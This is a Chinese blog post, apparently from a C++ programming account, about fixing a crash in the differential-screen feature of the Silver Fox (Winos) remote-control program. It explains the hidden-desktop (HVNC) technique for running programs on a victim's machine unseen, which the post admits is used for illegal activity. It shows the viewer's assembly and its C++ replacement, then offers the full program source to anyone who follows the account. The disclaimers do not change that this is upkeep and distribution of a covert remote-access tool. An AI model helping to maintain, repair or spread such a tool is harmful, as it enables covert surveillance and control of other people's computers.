大数跨境
0
0

银狐远控代码中差异屏幕bug修复

银狐远控代码中差异屏幕bug修复 CppGuide
2025-09-01
0
导读:差异屏幕在银狐远程控制中引发崩溃,通过修改汇编代码适配新平台,问题得以解决。

银狐远程控制软件一共提供了4种远程屏幕模式,分别是差异屏幕、高速屏幕、娱乐屏幕和后台屏幕,如下图所示:


其中前三种屏幕都是获取被控端桌面的内容展示出来,只不过屏幕传输算法不一样,例如差异屏幕是传输远程屏幕图像中发生变化的部分,高速屏幕把屏幕数据压缩成有损JPEG,压缩比例可以调整,压缩后的数据相比较原始数据小很多,所以传输起来,速度非常快。

最后一种后台屏幕的逻辑,来源于坊间流传出来的HVNC项目,这个在看雪论坛有详细的帖子讨论,其思路是Windows系统默认有三个桌面:登录前的开机桌面、登录成功后的桌面、屏保桌面,程序在这三个桌面之外又使用Windows API CreateDesktop新建一个桌面,然后使用SwitchDesktop切换到新建的桌面,需要运行在这个桌面的程序使用CreateProcess这个API创建,这个API的最后倒数第二个参数LPSTARTUPINFOW中指定新创建的进程为新建的桌面:

typedef struct _STARTUPINFOW {
  DWORD  cb;
  LPWSTR lpReserved;
  // 用这个参数指定新进程的桌面
  LPWSTR lpDesktop;
  LPWSTR lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOW, *LPSTARTUPINFOW;

所以,后台桌面的效果时,在用户电脑上启动程序,操作一些文件,用户是无任何感知的,任务管理里面也看不到,所以这个思路被很多人利用,用于一些非法活动。

特别声明,本文仅技术方面纯粹的讨论,请勿利用本文介绍的技术,从事任何非法活动,否则后果自负。

但是,由于新建的桌面缺少正常一些必要的元素,并不是每个程序都能在该桌面启动,所以一般只用来启动一些浏览器或者执行一些自定义cmd命令,但是影响程度也不容小觑。

不过话又说回来,自从看雪论坛讨论过这个技术之后,很多杀毒软件可以检测用户电脑,看看是否有新的桌面新建,以防止这类攻击。

我的银狐代码每次打开差异屏幕功能时会就会崩溃,崩溃截图如下:


崩溃的堆栈被截断了,没有父堆栈信息,莫名其妙,一直想解决这个问题,但是没有思路。我试着启用Google Address Sanitizer(关于该工具如何在Visual Studio中排查问题可以参考这一篇),但是该工具也抓不到任何内存问题;也自己检查过代码,也没有线程安全问题和缓冲区溢出问题。

有一天,在路上行走的时候,突然想到,会不会是这里的汇编代码在新的平台上不兼容?于是立马回家,打开电脑,把汇编代码改写成如下C++代码,聪明的读者,看一下,这段汇编代码翻译成C++代码是什么呢?

void CDifScreenSpyDlg::DrawNextScreenDiff(PBYTE pDeCompressionData, unsigned long destLen)
{
    // 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
    bool bIsReDraw = false;
    int  nHeadLength = sizeof(POINT) + sizeof(BYTE); // 标识 + 光标位置 + 光标类型索引
    LPVOID lpFirstScreen = m_lpScreenDIB;
    LPVOID lpNextScreen = pDeCompressionData + nHeadLength;
    DWORD dwBytes = destLen - nHeadLength;
    POINT oldPoint;
    memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
    memcpy(&m_RemoteCursorPos, pDeCompressionData, sizeof(POINT));
    // 鼠标移动了
    if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
        bIsReDraw = true;
    // 光标类型发生变化
    int nOldCursorIndex = m_bCursorIndex;
    LPBYTE lpNextCursorIndex = (LPBYTE)(pDeCompressionData + 8);
    if (*lpNextCursorIndex != m_bCursorIndex)
    {
        m_bCursorIndex = *lpNextCursorIndex;
        if (m_bIsTraceCursor)
            bIsReDraw = true;
        if (m_bIsCtrl && !m_bIsTraceCursor)
            SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
    }

    // 屏幕是否变化
    if (dwBytes > 0)
        bIsReDraw = true;
    //EnterCriticalSection(&m_cs);
    ///m_clcs.lock();

    __asm
    {
        mov ebx, [dwBytes]
        mov esi, [lpNextScreen]
        jmp CopyEnd
        CopyNextBlock :
        mov edi, [lpFirstScreen]
            lodsd // 把lpNextScreen的第一个双字节,放到eax中,就是DIB中改变区域的偏移
            add edi, eax // lpFirstScreen偏移eax 
            lodsd // 把lpNextScreen的下一个双字节,放到eax中, 就是改变区域的大小
            mov ecx, eax
            sub ebx, 8 // ebx 减去 两个dword
            sub ebx, ecx // ebx 减去DIB数据的大小
            rep movsb
            CopyEnd :
        cmp ebx, 0 // 是否写入完毕
            jnz CopyNextBlock
    }

    //LeaveCriticalSection(&m_cs);
    //m_clcs.unlock();
    if (bIsReDraw)
    {
#if _DEBUG
        PostMessage(WM_PAINT);
        //DoPaint();
#else
        //PostMessage(WM_PAINT);
        DoPaint();
#endif
    }


}

我改成如下C++代码:

void CDifScreenSpyDlg::DrawNextScreenDiff(PBYTE pDeCompressionData, unsigned long destLen)
{
    // ...重复代码省略...

    // 保存原始指针用于后续计算
    BYTE* pNext = (BYTE*)lpNextScreen;
    BYTE* pFirst = (BYTE*)lpFirstScreen;
    DWORD remainingBytes = dwBytes;

    // 循环处理所有数据块
    while (remainingBytes > 0)
    {
        // 读取偏移值(4字节)
        DWORD offset = *reinterpret_cast<DWORD*>(pNext);
        pNext += 4;

        // 读取数据块大小(4字节)
        DWORD blockSize = *reinterpret_cast<DWORD*>(pNext);
        pNext += 4;

        // 计算剩余字节数:减去已读取的8字节(偏移+大小)和当前数据块大小
        remainingBytes -= 8;
        remainingBytes -= blockSize;

        // 计算目标地址:基础地址 + 偏移
        BYTE* pDest = pFirst + offset;

        // 复制数据块
        memcpy(pDest, pNext, blockSize);

        // 移动源指针到下一个数据块
        pNext += blockSize;
    }

 // ...重复代码省略...


}

重新编译程序,启动测试,差异屏幕可以正常运行了。


我猜想原作者最初想使用汇编代码是出于提高速度考虑,但是时过境迁,新的系统和位数,很多在32位系统运行的寄存器等信息和结构已经改变,所以,如果想要使用汇编,得重新适配。

至此,困扰了我的这个bug被解决了。


源码获取

如果对银狐(winos)有兴趣,可以通过下面的方式获取全套源码:

关注后回复【winos】即可获取源码

特别申明

本套源码仅用于个人学习使用,不得用于其他用途,请遵守国家相关法律,使用该源码产生的问题与本号无关。

【声明】内容源于网络
0
0
CppGuide
专注于高质量高性能C++开发,站点:cppguide.cn
内容 981
粉丝 0
CppGuide 专注于高质量高性能C++开发,站点:cppguide.cn
总阅读2
粉丝0
内容981